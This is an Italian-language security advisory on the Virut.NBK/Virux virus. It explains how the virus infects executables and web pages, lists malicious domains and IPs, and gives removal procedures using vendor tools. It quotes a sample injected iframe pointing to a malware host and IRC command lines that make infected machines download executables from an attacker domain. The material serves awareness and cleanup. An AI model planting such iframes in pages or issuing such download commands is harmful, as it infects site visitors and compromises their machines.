Virus: Virut.NBK/Virux attacca PHP, ASP e HTML.

Una nuova variante di virus, Win32/Virus.BM già nota come Virut, ora Virut.NBK/Virux, si diffonde rapidamente in rete con varie tecniche, compresa l’infezione di server Web, drive di rete e dischi USB. Questi sono i vari nomi delle prime ed ultime versioni secondo i diversi produttori di antivirus:

Win32/Virut (CA)
Virus.Win32.Virut (Kaspersky)
W32/Virut (Norman)
W32/Virut (Sophos)
W32/Virut (McAfee)
W32.Virut (Symantec)

le varianti più recenti:

Virus:Win32/Virut.BM (MS)
Win32/Virut.NBK (ESET)
Win32/Virut.NBL (ESET)
W32/Scribble-A (Sophos)

La variante riesce a infettare anche i file PHP, ASP e HTML includendo un iframe nelle pagine che riesce poi a diffondere il malware ai visitatori (questo è un esempio modificato):

<iframe src=”http://ZieF.pl/rX/” width=1 height=1 style=”border:0″></iframe>.

L’iframe tenta di far visitare agli utenti uno di questi siti (NON andateci):

  • horobl.cn
  • www.tEenPassage.com
  • goasi.cn
  • setdoc.cn
  • zief.pl
  • proxim.ircgalaxy.pl
  • anti-captcha.com
  • lorentil.cn
  • thaexp.cn
  • 209.205.196.18
  • 66.232.126.195
  • 204.13.249.70
  • 58.65.232.34
  • 61.235.117.80
  • 61.235.117.81
  • 74.55.100.7
  • 124.207.41.201
  • 124.207.117.60
  • 124.236.241.91
  • 66.114.124.140
  • 64.13.232.135
  • 66.116.109.93
  • 210.51.37.106
  • 83.68.16.6
  • 211.95.79.6
  • 218.93.202.114
  • 209.205.196.18
  • 66.232.126.195
  • 69.46.16.191
  • 195.2.252.246
  • 94.247.2.38

che sfruttano vulnerabilità del navigatore e di altre applicazioni che possono essere installate su un PC, per iniettare il suo codice in processi di sistema come explorer.exe e winlogon.exe e agganciarsi alle API di Windows di più basso livello per assicurarsi di restare in memoria.

Attenzione: questo significa che se avevate pagine html del vostro sito su un PC infetto e dopo la disinfezione (parziale, evidentemente) le copiate sul sito Web senza rimuovere l’iframe, chi visiterà il vostro sito verrà infettato anch’egli.

Una buona idea per chi usa Firefox è installare il plugin NoScript, che si basa sul concetto di white-list: le pagine “attive”, in un qualche modo basate su scripting, sono tutte a priori inibite, occorre consentire l’esecuzione degli script per tutti i siti fidati. Può sembrare una rottura, ma funziona. Questo non impedisce però l’infezione tramite un eseguibile infetto.

Una volta arrivato a bordo in un modo o in un altro, il virus, scritto in assembly, è molto efficiente.

Sfrutta alcuni trucchi polimorfici per nascondersi dagli antivirus, usando più strati di codifica per proteggere il suo carico distruttivo. Può attaccarsi agli eseguibili in testa, in coda o nelle aree di buffer interne (aree di memoria predimensionate ma vuote); a tanta sapienza tecnica si accompagnano tuttavia anche alcuni bug, il cui effetto è che in alcuni casi i file infetti trattati da antivirus diventano innocui ma inutilizzabili, il che lascia capire che se si trattava di parti del sistema operativo il risultato è la perdita delle funzionalità corrispondenti.

I file infetti sono di circa 7-10 KB più grossi e la loro data e ora cambia, diventando quella del momento dell’infezione.

  • AGGIORNAMENTO: Virut.NBL non cambia la data ed ora dell’eseguibile.

Le macchine infette subiscono inoltre l’installazione di una backdoor che usa la porta 80 ed i protocolli IRC per connettersi a vari server da cui riceve istruzioni e altre minacce.

I comandi vengono inviati dai server:

  • irc.zief.pl
  • proxim.ircgalaxy.pl

I canali IRC da cui arrivano istruzioni di download di altri malware mandano istruzioni del tipo:

  • PRIVMSG [blocked] :!get http://horobl.cn/[blocked]/0032.exe
  • PRIVMSG [blocked] :!get http://horobl.cn/[blocked]/0034.exe

I messaggi email presenti sul PC sono raccolti e inviati al server:

  • 69.46.16.191

Altre informazioni: blog Trend Micro, Microsoft, F-Secure, Eset (in italiano). Un interessante esame del funzionamento del virus scritto da Computer Associates è qui.

Altre descrizioni dell’infezione sono su avast!, su Win32 Virtob, su Win32 Virut ed in un articolo tecnico (in inglese) da un blog legato alla Symantec.

Il worm come detto si “attacca” agli eseguibili (.exe e .src), ed una volta che è nella memoria di sistema ogni eseguibile lanciato successivamente sarà infettato.

Il primo passo su un PC è iniettare winlogon.exe, così i firewall non lo identificano quando esce sulla porta di IRC. Infetta poi anche i file sui dischi locali e condivisi: non dipende dal fatto che usiate questi file, li trova autonomamente.

Una volta che il sistema è colpito è piuttosto difficile da rimuovere.

E’ necessario usare altre tecniche, meno tradizionali, cominciando con il buon vecchio metodo di staccare il disco e curarlo su un PC sano.

Symantec mette a disposizione un tool specifico, piuttosto recente (20 febbraio 2009) che può essere eseguito solo in modalità provvisoria, disconnessi dalla rete (togliete il cavo) e con il System Restore disabilitato (bottone destro su Risorse del computer, Proprietà, Ripristino configurazione di sistema, Disattiva Ripristino su tutte le unità), del quale questo è un esempio d’uso:

“C:\Documents and Settings\user1\Desktop\FixVirut” /EXCLUDE=M:\ /LOG=c:\FixVirut.txt

che esclude dal controllo il drive M: e suppone che il tool sia stato scaricato sul desktop dell’utente user1.

Altre opzioni sono Dr Web CureIT e l’equivalente della AVG Virut Removal Tool. Quest’ultimo si usa così:

Rmvirut (controlla e ripara tutto)
Rmvirut C: (controlla e ripara l’intero disco C)
Rmvirut C: D: (controlla e ripara i dischi C e D)
Rmvirut C:\Windows (controlla e ripara i file in C:\Windows)
Rmvirut C:\Windows\explorer.exe (controlla e ripara C:\Windows\explorer.exe)

Anche Kasperski ha un tool utilizzabile allo scopo.

Come procedere:

  • Scaricare i file (su un PC pulito).
  • Creare un boot CD, usando Bart’s PE builder, o scaricando miniPE (su un PC pulito) e mettendo i file sullo stesso CD
    • oppure su una memory stick (possibilmente del tipo che si può proteggere in scrittura).
  • Riavviare dal CD di boot.
  • Eseguire il software scaricato sui dischi infetti.

In definitiva, dopo varie prove e dopo aver letto di vari casi, si può concludere che se un PC è stato infettato da una di queste varianti l’unica vera soluzione è ripristinare un’immagine recente del disco (provvidenziale in questi casi un prodotto come Acronis True Image Backup o Symantec Ghost) oppure reinstallare il Sistema Operativo, il tutto dopo aver salvato in qualche modo i  propri dati, perchè il livello di compromissione del Sistema Operativo è tale da sconsigliare di tentare di eliminare il virus, stante anche l’alto rischio che si ripresenti in breve.